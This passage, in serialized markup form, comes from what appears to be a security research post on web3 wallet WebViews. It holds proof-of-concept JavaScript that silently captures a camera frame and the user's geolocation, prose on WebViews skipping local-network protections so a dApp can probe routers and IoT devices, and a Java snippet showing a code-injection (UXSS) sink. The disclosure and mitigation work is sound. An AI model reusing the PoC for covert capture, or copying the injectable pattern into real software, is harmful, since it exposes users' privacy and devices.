});\n",{"type":23,"tag":75,"props":167691,"children":167692},{"class":77,"line":656},[167693,167697,167701,167705,167709,167713,167717,167721,167725,167729,167733,167737,167741,167746,167750,167754],{"type":23,"tag":75,"props":167694,"children":167695},{"style":110},[167696],{"type":29,"value":167597},{"type":23,"tag":75,"props":167698,"children":167699},{"style":209},[167700],{"type":29,"value":557},{"type":23,"tag":75,"props":167702,"children":167703},{"style":88},[167704],{"type":29,"value":43882},{"type":23,"tag":75,"props":167706,"children":167707},{"style":209},[167708],{"type":29,"value":44104},{"type":23,"tag":75,"props":167710,"children":167711},{"style":82},[167712],{"type":29,"value":85},{"type":23,"tag":75,"props":167714,"children":167715},{"style":209},[167716],{"type":29,"value":183},{"type":23,"tag":75,"props":167718,"children":167719},{"style":110},[167720],{"type":29,"value":688},{"type":23,"tag":75,"props":167722,"children":167723},{"style":209},[167724],{"type":29,"value":611},{"type":23,"tag":75,"props":167726,"children":167727},{"style":110},[167728],{"type":29,"value":81549},{"type":23,"tag":75,"props":167730,"children":167731},{"style":209},[167732],{"type":29,"value":611},{"type":23,"tag":75,"props":167734,"children":167735},{"style":110},[167736],{"type":29,"value":77},{"type":23,"tag":75,"props":167738,"children":167739},{"style":209},[167740],{"type":29,"value":611},{"type":23,"tag":75,"props":167742,"children":167743},{"style":110},[167744],{"type":29,"value":167745},"col",{"type":23,"tag":75,"props":167747,"children":167748},{"style":209},[167749],{"type":29,"value":611},{"type":23,"tag":75,"props":167751,"children":167752},{"style":110},[167753],{"type":29,"value":616},{"type":23,"tag":75,"props":167755,"children":167756},{"style":209},[167757],{"type":29,"value":193},{"type":23,"tag":75,"props":167759,"children":167760},{"class":77,"line":705},[167761,167765,167769,167774,167778,167782],{"type":23,"tag":75,"props":167762,"children":167763},{"style":88},[167764],{"type":29,"value":167643},{"type":23,"tag":75,"props":167766,"children":167767},{"style":209},[167768],{"type":29,"value":643},{"type":23,"tag":75,"props":167770,"children":167771},{"style":1266},[167772],{"type":29,"value":167773},"'onerror: '",{"type":23,"tag":75,"props":167775,"children":167776},{"style":209},[167777],{"type":29,"value":45890},{"type":23,"tag":75,"props":167779,"children":167780},{"style":110},[167781],{"type":29,"value":688},{"type":23,"tag":75,"props":167783,"children":167784},{"style":209},[167785],{"type":29,"value":15099},{"type":23,"tag":75,"props":167787,"children":167788},{"class":77,"line":787},[167789,167793,167797],{"type":23,"tag":75,"props":167790,"children":167791},{"style":175},[167792],{"type":29,"value":3396},{"type":23,"tag":75,"props":167794,"children":167795},{"style":82},[167796],{"type":29,"value":20313},{"type":23,"tag":75,"props":167798,"children":167799},{"style":209},[167800],{"type":29,"value":245},{"type":23,"tag":75,"props":167802,"children":167803},{"class":77,"line":826},[167804],{"type":23,"tag":75,"props":167805,"children":167806},{"style":209},[167807],{"type":29,"value":167808},"        };\n",{"type":23,"tag":75,"props":167810,"children":167811},{"class":77,"line":834},[167812],{"type":23,"tag":75,"props":167813,"children":167814},{"emptyLinePlaceholder":15},[167815],{"type":29,"value":276},{"type":23,"tag":75,"props":167817,"children":167818},{"class":77,"line":881},[167819,167824,167828,167832],{"type":23,"tag":75,"props":167820,"children":167821},{"style":82},[167822],{"type":29,"value":167823},"        async",{"type":23,"tag":75,"props":167825,"children":167826},{"style":82},[167827],{"type":29,"value":49405},{"type":23,"tag":75,"props":167829,"children":167830},{"style":88},[167831],{"type":29,"value":101115},{"type":23,"tag":75,"props":167833,"children":167834},{"style":209},[167835],{"type":29,"value":12966},{"type":23,"tag":75,"props":167837,"children":167838},{"class":77,"line":3355},[167839,167843,167848,167852,167856,167861,167865,167870,167874,167879,167883,167888,167892],{"type":23,"tag":75,"props":167840,"children":167841},{"style":82},[167842],{"type":29,"value":161369},{"type":23,"tag":75,"props":167844,"children":167845},{"style":110},[167846],{"type":29,"value":167847}," stream",{"type":23,"tag":75,"props":167849,"children":167850},{"style":209},[167851],{"type":29,"value":44104},{"type":23,"tag":75,"props":167853,"children":167854},{"style":175},[167855],{"type":29,"value":44109},{"type":23,"tag":75,"props":167857,"children":167858},{"style":110},[167859],{"type":29,"value":167860}," navigator",{"type":23,"tag":75,"props":167862,"children":167863},{"style":209},[167864],{"type":29,"value":557},{"type":23,"tag":75,"props":167866,"children":167867},{"style":110},[167868],{"type":29,"value":167869},"mediaDevices",{"type":23,"tag":75,"props":167871,"children":167872},{"style":209},[167873],{"type":29,"value":557},{"type":23,"tag":75,"props":167875,"children":167876},{"style":88},[167877],{"type":29,"value":167878},"getUserMedia",{"type":23,"tag":75,"props":167880,"children":167881},{"style":209},[167882],{"type":29,"value":42693},{"type":23,"tag":75,"props":167884,"children":167885},{"style":110},[167886],{"type":29,"value":167887},"video:",{"type":23,"tag":75,"props":167889,"children":167890},{"style":82},[167891],{"type":29,"value":23713},{"type":23,"tag":75,"props":167893,"children":167894},{"style":209},[167895],{"type":29,"value":50026},{"type":23,"tag":75,"props":167897,"children":167898},{"class":77,"line":3390},[167899,167903,167908,167912,167916,167920,167924,167928,167933],{"type":23,"tag":75,"props":167900,"children":167901},{"style":82},[167902],{"type":29,"value":161369},{"type":23,"tag":75,"props":167904,"children":167905},{"style":110},[167906],{"type":29,"value":167907}," video",{"type":23,"tag":75,"props":167909,"children":167910},{"style":209},[167911],{"type":29,"value":44104},{"type":23,"tag":75,"props":167913,"children":167914},{"style":110},[167915],{"type":29,"value":43901},{"type":23,"tag":75,"props":167917,"children":167918},{"style":209},[167919],{"type":29,"value":557},{"type":23,"tag":75,"props":167921,"children":167922},{"style":88},[167923],{"type":29,"value":47913},{"type":23,"tag":75,"props":167925,"children":167926},{"style":209},[167927],{"type":29,"value":643},{"type":23,"tag":75,"props":167929,"children":167930},{"style":1266},[167931],{"type":29,"value":167932},"\"video\"",{"type":23,"tag":75,"props":167934,"children":167935},{"style":209},[167936],{"type":29,"value":15099},{"type":23,"tag":75,"props":167938,"children":167939},{"class":77,"line":3423},[167940,167945,167949,167954,167958,167962],{"type":23,"tag":75,"props":167941,"children":167942},{"style":110},[167943],{"type":29,"value":167944},"            video",{"type":23,"tag":75,"props":167946,"children":167947},{"style":209},[167948],{"type":29,"value":557},{"type":23,"tag":75,"props":167950,"children":167951},{"style":110},[167952],{"type":29,"value":167953},"srcObject",{"type":23,"tag":75,"props":167955,"children":167956},{"style":209},[167957],{"type":29,"value":44104},{"type":23,"tag":75,"props":167959,"children":167960},{"style":110},[167961],{"type":29,"value":47453},{"type":23,"tag":75,"props":167963,"children":167964},{"style":209},[167965],{"type":29,"value":245},{"type":23,"tag":75,"props":167967,"children":167968},{"class":77,"line":3436},[167969,167973,167978,167982,167986,167990,167994,167998,168003],{"type":23,"tag":75,"props":167970,"children":167971},{"style":82},[167972],{"type":29,"value":161369},{"type":23,"tag":75,"props":167974,"children":167975},{"style":110},[167976],{"type":29,"value":167977}," canvas",{"type":23,"tag":75,"props":167979,"children":167980},{"style":209},[167981],{"type":29,"value":44104},{"type":23,"tag":75,"props":167983,"children":167984},{"style":110},[167985],{"type":29,"value":43901},{"type":23,"tag":75,"props":167987,"children":167988},{"style":209},[167989],{"type":29,"value":557},{"type":23,"tag":75,"props":167991,"children":167992},{"style":88},[167993],{"type":29,"value":47913},{"type":23,"tag":75,"props":167995,"children":167996},{"style":209},[167997],{"type":29,"value":643},{"type":23,"tag":75,"props":167999,"children":168000},{"style":1266},[168001],{"type":29,"value":168002},"\"canvas\"",{"type":23,"tag":75,"props":168004,"children":168005},{"style":209},[168006],{"type":29,"value":15099},{"type":23,"tag":75,"props":168008,"children":168009},{"class":77,"line":3449},[168010],{"type":23,"tag":75,"props":168011,"children":168012},{"emptyLinePlaceholder":15},[168013],{"type":29,"value":276},{"type":23,"tag":75,"props":168015,"children":168016},{"class":77,"line":3457},[168017,168021,168025,168030,168035,168039],{"type":23,"tag":75,"props":168018,"children":168019},{"style":110},[168020],{"type":29,"value":167944},{"type":23,"tag":75,"props":168022,"children":168023},{"style":209},[168024],{"type":29,"value":557},{"type":23,"tag":75,"props":168026,"children":168027},{"style":88},[168028],{"type":29,"value":168029},"onloadedmetadata",{"type":23,"tag":75,"props":168031,"children":168032},{"style":209},[168033],{"type":29,"value":168034}," = () ",{"type":23,"tag":75,"props":168036,"children":168037},{"style":82},[168038],{"type":29,"value":26057},{"type":23,"tag":75,"props":168040,"children":168041},{"style":209},[168042],{"type":29,"value":401},{"type":23,"tag":75,"props":168044,"children":168045},{"class":77,"line":3465},[168046,168051,168055,168060,168064,168068,168072,168077],{"type":23,"tag":75,"props":168047,"children":168048},{"style":110},[168049],{"type":29,"value":168050},"                canvas",{"type":23,"tag":75,"props":168052,"children":168053},{"style":209},[168054],{"type":29,"value":557},{"type":23,"tag":75,"props":168056,"children":168057},{"style":110},[168058],{"type":29,"value":168059},"width",{"type":23,"tag":75,"props":168061,"children":168062},{"style":209},[168063],{"type":29,"value":44104},{"type":23,"tag":75,"props":168065,"children":168066},{"style":110},[168067],{"type":29,"value":142193},{"type":23,"tag":75,"props":168069,"children":168070},{"style":209},[168071],{"type":29,"value":557},{"type":23,"tag":75,"props":168073,"children":168074},{"style":110},[168075],{"type":29,"value":168076},"videoWidth",{"type":23,"tag":75,"props":168078,"children":168079},{"style":209},[168080],{"type":29,"value":245},{"type":23,"tag":75,"props":168082,"children":168083},{"class":77,"line":3473},[168084,168088,168092,168097,168101,168105,168109,168114],{"type":23,"tag":75,"props":168085,"children":168086},{"style":110},[168087],{"type":29,"value":168050},{"type":23,"tag":75,"props":168089,"children":168090},{"style":209},[168091],{"type":29,"value":557},{"type":23,"tag":75,"props":168093,"children":168094},{"style":110},[168095],{"type":29,"value":168096},"height",{"type":23,"tag":75,"props":168098,"children":168099},{"style":209},[168100],{"type":29,"value":44104},{"type":23,"tag":75,"props":168102,"children":168103},{"style":110},[168104],{"type":29,"value":142193},{"type":23,"tag":75,"props":168106,"children":168107},{"style":209},[168108],{"type":29,"value":557},{"type":23,"tag":75,"props":168110,"children":168111},{"style":110},[168112],{"type":29,"value":168113},"videoHeight",{"type":23,"tag":75,"props":168115,"children":168116},{"style":209},[168117],{"type":29,"value":245},{"type":23,"tag":75,"props":168119,"children":168120},{"class":77,"line":3481},[168121],{"type":23,"tag":75,"props":168122,"children":168123},{"style":209},[168124],{"type":29,"value":59266},{"type":23,"tag":75,"props":168126,"children":168127},{"class":77,"line":3524},[168128],{"type":23,"tag":75,"props":168129,"children":168130},{"emptyLinePlaceholder":15},[168131],{"type":29,"value":276},{"type":23,"tag":75,"props":168133,"children":168134},{"class":77,"line":4890},[168135,168140,168144,168149,168153,168157,168161],{"type":23,"tag":75,"props":168136,"children":168137},{"style":110},[168138],{"type":29,"value":168139},"            connect",{"type":23,"tag":75,"props":168141,"children":168142},{"style":209},[168143],{"type":29,"value":557},{"type":23,"tag":75,"props":168145,"children":168146},{"style":88},[168147],{"type":29,"value":168148},"onclick",{"type":23,"tag":75,"props":168150,"children":168151},{"style":209},[168152],{"type":29,"value":44104},{"type":23,"tag":75,"props":168154,"children":168155},{"style":110},[168156],{"type":29,"value":62639},{"type":23,"tag":75,"props":168158,"children":168159},{"style":82},[168160],{"type":29,"value":38951},{"type":23,"tag":75,"props":168162,"children":168163},{"style":209},[168164],{"type":29,"value":401},{"type":23,"tag":75,"props":168166,"children":168167},{"class":77,"line":4937},[168168,168173,168177,168182],{"type":23,"tag":75,"props":168169,"children":168170},{"style":110},[168171],{"type":29,"value":168172},"                video",{"type":23,"tag":75,"props":168174,"children":168175},{"style":209},[168176],{"type":29,"value":557},{"type":23,"tag":75,"props":168178,"children":168179},{"style":88},[168180],{"type":29,"value":168181},"play",{"type":23,"tag":75,"props":168183,"children":168184},{"style":209},[168185],{"type":29,"value":14944},{"type":23,"tag":75,"props":168187,"children":168188},{"class":77,"line":4950},[168189],{"type":23,"tag":75,"props":168190,"children":168191},{"emptyLinePlaceholder":15},[168192],{"type":29,"value":276},{"type":23,"tag":75,"props":168194,"children":168195},{"class":77,"line":4958},[168196,168200,168204,168209,168213,168218,168222,168227,168231,168235,168239,168243,168247,168251],{"type":23,"tag":75,"props":168197,"children":168198},{"style":110},[168199],{"type":29,"value":168050},{"type":23,"tag":75,"props":168201,"children":168202},{"style":209},[168203],{"type":29,"value":557},{"type":23,"tag":75,"props":168205,"children":168206},{"style":88},[168207],{"type":29,"value":168208},"getContext",{"type":23,"tag":75,"props":168210,"children":168211},{"style":209},[168212],{"type":29,"value":643},{"type":23,"tag":75,"props":168214,"children":168215},{"style":1266},[168216],{"type":29,"value":168217},"\"2d\"",{"type":23,"tag":75,"props":168219,"children":168220},{"style":209},[168221],{"type":29,"value":31960},{"type":23,"tag":75,"props":168223,"children":168224},{"style":88},[168225],{"type":29,"value":168226},"drawImage",{"type":23,"tag":75,"props":168228,"children":168229},{"style":209},[168230],{"type":29,"value":643},{"type":23,"tag":75,"props":168232,"children":168233},{"style":110},[168234],{"type":29,"value":142193},{"type":23,"tag":75,"props":168236,"children":168237},{"style":209},[168238],{"type":29,"value":611},{"type":23,"tag":75,"props":168240,"children":168241},{"style":237},[168242],{"type":29,"value":648},{"type":23,"tag":75,"props":168244,"children":168245},{"style":209},[168246],{"type":29,"value":611},{"type":23,"tag":75,"props":168248,"children":168249},{"style":237},[168250],{"type":29,"value":648},{"type":23,"tag":75,"props":168252,"children":168253},{"style":209},[168254],{"type":29,"value":15099},{"type":23,"tag":75,"props":168256,"children":168257},{"class":77,"line":4967},[168258,168263,168267,168272,168276,168281,168285,168289,168293,168298,168302,168307],{"type":23,"tag":75,"props":168259,"children":168260},{"style":110},[168261],{"type":29,"value":168262},"                stream",{"type":23,"tag":75,"props":168264,"children":168265},{"style":209},[168266],{"type":29,"value":557},{"type":23,"tag":75,"props":168268,"children":168269},{"style":88},[168270],{"type":29,"value":168271},"getTracks",{"type":23,"tag":75,"props":168273,"children":168274},{"style":209},[168275],{"type":29,"value":8653},{"type":23,"tag":75,"props":168277,"children":168278},{"style":88},[168279],{"type":29,"value":168280},"forEach",{"type":23,"tag":75,"props":168282,"children":168283},{"style":209},[168284],{"type":29,"value":643},{"type":23,"tag":75,"props":168286,"children":168287},{"style":110},[168288],{"type":29,"value":32945},{"type":23,"tag":75,"props":168290,"children":168291},{"style":82},[168292],{"type":29,"value":38951},{"type":23,"tag":75,"props":168294,"children":168295},{"style":110},[168296],{"type":29,"value":168297}," t",{"type":23,"tag":75,"props":168299,"children":168300},{"style":209},[168301],{"type":29,"value":557},{"type":23,"tag":75,"props":168303,"children":168304},{"style":88},[168305],{"type":29,"value":168306},"stop",{"type":23,"tag":75,"props":168308,"children":168309},{"style":209},[168310],{"type":29,"value":1430},{"type":23,"tag":75,"props":168312,"children":168313},{"class":77,"line":4975},[168314,168318,168322,168327,168331,168335,168339,168343],{"type":23,"tag":75,"props":168315,"children":168316},{"style":110},[168317],{"type":29,"value":168050},{"type":23,"tag":75,"props":168319,"children":168320},{"style":209},[168321],{"type":29,"value":557},{"type":23,"tag":75,"props":168323,"children":168324},{"style":88},[168325],{"type":29,"value":168326},"toBlob",{"type":23,"tag":75,"props":168328,"children":168329},{"style":209},[168330],{"type":29,"value":42718},{"type":23,"tag":75,"props":168332,"children":168333},{"style":110},[168334],{"type":29,"value":44141},{"type":23,"tag":75,"props":168336,"children":168337},{"style":209},[168338],{"type":29,"value":167},{"type":23,"tag":75,"props":168340,"children":168341},{"style":82},[168342],{"type":29,"value":26057},{"type":23,"tag":75,"props":168344,"children":168345},{"style":209},[168346],{"type":29,"value":401},{"type":23,"tag":75,"props":168348,"children":168349},{"class":77,"line":5016},[168350,168355,168359,168363,168367,168372,168376,168381,168385,168389],{"type":23,"tag":75,"props":168351,"children":168352},{"style":110},[168353],{"type":29,"value":168354},"                    pic",{"type":23,"tag":75,"props":168356,"children":168357},{"style":209},[168358],{"type":29,"value":557},{"type":23,"tag":75,"props":168360,"children":168361},{"style":110},[168362],{"type":29,"value":43863},{"type":23,"tag":75,"props":168364,"children":168365},{"style":209},[168366],{"type":29,"value":44104},{"type":23,"tag":75,"props":168368,"children":168369},{"style":110},[168370],{"type":29,"value":168371},"URL",{"type":23,"tag":75,"props":168373,"children":168374},{"style":209},[168375],{"type":29,"value":557},{"type":23,"tag":75,"props":168377,"children":168378},{"style":88},[168379],{"type":29,"value":168380},"createObjectURL",{"type":23,"tag":75,"props":168382,"children":168383},{"style":209},[168384],{"type":29,"value":643},{"type":23,"tag":75,"props":168386,"children":168387},{"style":110},[168388],{"type":29,"value":44141},{"type":23,"tag":75,"props":168390,"children":168391},{"style":209},[168392],{"type":29,"value":15099},{"type":23,"tag":75,"props":168394,"children":168395},{"class":77,"line":5025},[168396],{"type":23,"tag":75,"props":168397,"children":168398},{"style":209},[168399],{"type":29,"value":168400},"                });\n",{"type":23,"tag":75,"props":168402,"children":168403},{"class":77,"line":5033},[168404],{"type":23,"tag":75,"props":168405,"children":168406},{"emptyLinePlaceholder":15},[168407],{"type":29,"value":276},{"type":23,"tag":75,"props":168409,"children":168410},{"class":77,"line":5041},[168411,168416,168420,168425,168429,168434,168438,168443,168447],{"type":23,"tag":75,"props":168412,"children":168413},{"style":110},[168414],{"type":29,"value":168415},"                navigator",{"type":23,"tag":75,"props":168417,"children":168418},{"style":209},[168419],{"type":29,"value":557},{"type":23,"tag":75,"props":168421,"children":168422},{"style":110},[168423],{"type":29,"value":168424},"geolocation",{"type":23,"tag":75,"props":168426,"children":168427},{"style":209},[168428],{"type":29,"value":557},{"type":23,"tag":75,"props":168430,"children":168431},{"style":88},[168432],{"type":29,"value":168433},"getCurrentPosition",{"type":23,"tag":75,"props":168435,"children":168436},{"style":209},[168437],{"type":29,"value":643},{"type":23,"tag":75,"props":168439,"children":168440},{"style":110},[168441],{"type":29,"value":168442},"pos",{"type":23,"tag":75,"props":168444,"children":168445},{"style":82},[168446],{"type":29,"value":38951},{"type":23,"tag":75,"props":168448,"children":168449},{"style":209},[168450],{"type":29,"value":401},{"type":23,"tag":75,"props":168452,"children":168453},{"class":77,"line":5050},[168454,168459,168463,168467,168471,168475,168480],{"type":23,"tag":75,"props":168455,"children":168456},{"style":82},[168457],{"type":29,"value":168458},"                    const",{"type":23,"tag":75,"props":168460,"children":168461},{"style":110},[168462],{"type":29,"value":48636},{"type":23,"tag":75,"props":168464,"children":168465},{"style":209},[168466],{"type":29,"value":44104},{"type":23,"tag":75,"props":168468,"children":168469},{"style":110},[168470],{"type":29,"value":168442},{"type":23,"tag":75,"props":168472,"children":168473},{"style":209},[168474],{"type":29,"value":557},{"type":23,"tag":75,"props":168476,"children":168477},{"style":110},[168478],{"type":29,"value":168479},"coords",{"type":23,"tag":75,"props":168481,"children":168482},{"style":209},[168483],{"type":29,"value":245},{"type":23,"tag":75,"props":168485,"children":168486},{"class":77,"line":5058},[168487,168492,168496,168500,168504,168509,168513,168517,168521,168526,168530,168535,168539,168543,168547,168551,168555,168560,168564,168568,168572,168577,168581,168585,168589,168593,168597,168601,168605],{"type":23,"tag":75,"props":168488,"children":168489},{"style":110},[168490],{"type":29,"value":168491},"                    gps",{"type":23,"tag":75,"props":168493,"children":168494},{"style":209},[168495],{"type":29,"value":557},{"type":23,"tag":75,"props":168497,"children":168498},{"style":110},[168499],{"type":29,"value":46158},{"type":23,"tag":75,"props":168501,"children":168502},{"style":209},[168503],{"type":29,"value":44104},{"type":23,"tag":75,"props":168505,"children":168506},{"style":1266},[168507],{"type":29,"value":168508},"`Lat: ",{"type":23,"tag":75,"props":168510,"children":168511},{"style":82},[168512],{"type":29,"value":45302},{"type":23,"tag":75,"props":168514,"children":168515},{"style":110},[168516],{"type":29,"value":14432},{"type":23,"tag":75,"props":168518,"children":168519},{"style":209},[168520],{"type":29,"value":557},{"type":23,"tag":75,"props":168522,"children":168523},{"style":110},[168524],{"type":29,"value":168525},"latitude",{"type":23,"tag":75,"props":168527,"children":168528},{"style":209},[168529],{"type":29,"value":557},{"type":23,"tag":75,"props":168531,"children":168532},{"style":88},[168533],{"type":29,"value":168534},"toFixed",{"type":23,"tag":75,"props":168536,"children":168537},{"style":209},[168538],{"type":29,"value":643},{"type":23,"tag":75,"props":168540,"children":168541},{"style":237},[168542],{"type":29,"value":7867},{"type":23,"tag":75,"props":168544,"children":168545},{"style":209},[168546],{"type":29,"value":1347},{"type":23,"tag":75,"props":168548,"children":168549},{"style":82},[168550],{"type":29,"value":45334},{"type":23,"tag":75,"props":168552,"children":168553},{"style":11688},[168554],{"type":29,"value":59567},{"type":23,"tag":75,"props":168556,"children":168557},{"style":1266},[168558],{"type":29,"value":168559},"Lon: ",{"type":23,"tag":75,"props":168561,"children":168562},{"style":82},[168563],{"type":29,"value":45302},{"type":23,"tag":75,"props":168565,"children":168566},{"style":110},[168567],{"type":29,"value":14432},{"type":23,"tag":75,"props":168569,"children":168570},{"style":209},[168571],{"type":29,"value":557},{"type":23,"tag":75,"props":168573,"children":168574},{"style":110},[168575],{"type":29,"value":168576},"longitude",{"type":23,"tag":75,"props":168578,"children":168579},{"style":209},[168580],{"type":29,"value":557},{"type":23,"tag":75,"props":168582,"children":168583},{"style":88},[168584],{"type":29,"value":168534},{"type":23,"tag":75,"props":168586,"children":168587},{"style":209},[168588],{"type":29,"value":643},{"type":23,"tag":75,"props":168590,"children":168591},{"style":237},[168592],{"type":29,"value":7867},{"type":23,"tag":75,"props":168594,"children":168595},{"style":209},[168596],{"type":29,"value":1347},{"type":23,"tag":75,"props":168598,"children":168599},{"style":82},[168600],{"type":29,"value":45334},{"type":23,"tag":75,"props":168602,"children":168603},{"style":1266},[168604],{"type":29,"value":21630},{"type":23,"tag":75,"props":168606,"children":168607},{"style":209},[168608],{"type":29,"value":245},{"type":23,"tag":75,"props":168610,"children":168611},{"class":77,"line":5083},[168612,168617,168621,168625,168630,168634,168638],{"type":23,"tag":75,"props":168613,"children":168614},{"style":209},[168615],{"type":29,"value":168616},"                }, ",{"type":23,"tag":75,"props":168618,"children":168619},{"style":110},[168620],{"type":29,"value":4434},{"type":23,"tag":75,"props":168622,"children":168623},{"style":82},[168624],{"type":29,"value":38951},{"type":23,"tag":75,"props":168626,"children":168627},{"style":88},[168628],{"type":29,"value":168629}," alert",{"type":23,"tag":75,"props":168631,"children":168632},{"style":209},[168633],{"type":29,"value":643},{"type":23,"tag":75,"props":168635,"children":168636},{"style":110},[168637],{"type":29,"value":4434},{"type":23,"tag":75,"props":168639,"children":168640},{"style":209},[168641],{"type":29,"value":18485},{"type":23,"tag":75,"props":168643,"children":168644},{"class":77,"line":5108},[168645],{"type":23,"tag":75,"props":168646,"children":168647},{"style":209},[168648],{"type":29,"value":59266},{"type":23,"tag":75,"props":168650,"children":168651},{"class":77,"line":5137},[168652],{"type":23,"tag":75,"props":168653,"children":168654},{"emptyLinePlaceholder":15},[168655],{"type":29,"value":276},{"type":23,"tag":75,"props":168657,"children":168658},{"class":77,"line":5163},[168659],{"type":23,"tag":75,"props":168660,"children":168661},{"style":209},[168662],{"type":29,"value":2503},{"type":23,"tag":75,"props":168664,"children":168665},{"class":77,"line":5172},[168666,168671],{"type":23,"tag":75,"props":168667,"children":168668},{"style":88},[168669],{"type":29,"value":168670},"        main",{"type":23,"tag":75,"props":168672,"children":168673},{"style":209},[168674],{"type":29,"value":14944},{"type":23,"tag":75,"props":168676,"children":168677},{"class":77,"line":5206},[168678,168682,168686],{"type":23,"tag":75,"props":168679,"children":168680},{"style":43569},[168681],{"type":29,"value":44021},{"type":23,"tag":75,"props":168683,"children":168684},{"style":82},[168685],{"type":29,"value":43609},{"type":23,"tag":75,"props":168687,"children":168688},{"style":43569},[168689],{"type":29,"value":17260},{"type":23,"tag":75,"props":168691,"children":168692},{"class":77,"line":5214},[168693,168697,168701],{"type":23,"tag":75,"props":168694,"children":168695},{"style":43569},[168696],{"type":29,"value":43623},{"type":23,"tag":75,"props":168698,"children":168699},{"style":82},[168700],{"type":29,"value":43593},{"type":23,"tag":75,"props":168702,"children":168703},{"style":43569},[168704],{"type":29,"value":17260},{"type":23,"tag":75,"props":168706,"children":168707},{"class":77,"line":5227},[168708,168712,168716],{"type":23,"tag":75,"props":168709,"children":168710},{"style":43569},[168711],{"type":29,"value":43623},{"type":23,"tag":75,"props":168713,"children":168714},{"style":82},[168715],{"type":29,"value":43576},{"type":23,"tag":75,"props":168717,"children":168718},{"style":43569},[168719],{"type":29,"value":17260},{"type":23,"tag":30116,"props":168721,"children":168722},{"id":15500},[168723],{"type":29,"value":15503},{"type":23,"tag":32,"props":168725,"children":168726},{},[168727],{"type":29,"value":168728},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":23,"tag":32,"props":168730,"children":168731},{},[168732,168734,168740],{"type":29,"value":168733},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":23,"tag":940,"props":168735,"children":168738},{"href":168736,"rel":168737},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[944],[168739],{"type":29,"value":2244},{"type":29,"value":557},{"type":23,"tag":42542,"props":168742,"children":168743},{"style":42544},[168744],{"type":23,"tag":15189,"props":168745,"children":168749},{"src":168746,"alt":168747,"style":168748},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":23,"tag":32,"props":168751,"children":168752},{},[168753],{"type":29,"value":168754},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":23,"tag":24,"props":168756,"children":168758},{"id":168757},"local-network-access",[168759],{"type":29,"value":168760},"Local Network Access",{"type":23,"tag":32,"props":168762,"children":168763},{},[168764,168766,168773,168775,168781],{"type":29,"value":168765},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":23,"tag":940,"props":168767,"children":168770},{"href":168768,"rel":168769},"https://wicg.github.io/private-network-access/",[944],[168771],{"type":29,"value":168772},"Private Network Access",{"type":29,"value":168774}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":23,"tag":940,"props":168776,"children":168779},{"href":168777,"rel":168778},"https://x.com/taviso/status/2051310678800253318",[944],[168780],{"type":29,"value":168777},{"type":29,"value":168782},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":23,"tag":42542,"props":168784,"children":168785},{"style":42544},[168786],{"type":23,"tag":15189,"props":168787,"children":168790},{"src":168788,"alt":168747,"style":168789},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":23,"tag":32,"props":168792,"children":168793},{},[168794],{"type":29,"value":168795},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":23,"tag":168797,"props":168798,"children":168801},"zoom-image",{"src":168799,"alt":168800},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":23,"tag":32,"props":168803,"children":168804},{},[168805],{"type":29,"value":168806},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":23,"tag":27910,"props":168808,"children":168809},{},[168810,168815,168820],{"type":23,"tag":2801,"props":168811,"children":168812},{},[168813],{"type":29,"value":168814},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":23,"tag":2801,"props":168816,"children":168817},{},[168818],{"type":29,"value":168819},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":23,"tag":2801,"props":168821,"children":168822},{},[168823],{"type":29,"value":168824},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":23,"tag":32,"props":168826,"children":168827},{},[168828],{"type":29,"value":168829},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":23,"tag":24,"props":168831,"children":168833},{"id":168832},"uxss-by-code-injection",[168834],{"type":29,"value":168835},"UXSS by Code Injection",{"type":23,"tag":32,"props":168837,"children":168838},{},[168839,168841,168847],{"type":29,"value":168840},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":23,"tag":71,"props":168842,"children":168844},{"className":168843},[],[168845],{"type":29,"value":168846},"injectJavascriptObject",{"type":29,"value":168848}," attribute worked. Here is the code snippet:",{"type":23,"tag":64,"props":168850,"children":168852},{"className":167088,"code":168851,"language":167090,"meta":7,"style":7},"    private void injectJavascriptObject() {\n      if (getSettings().getJavaScriptEnabled()) {\n        String js = \"(function(){\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n          \"    window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n          \"})();\";\n        evaluateJavascriptWithFallback(js);\n      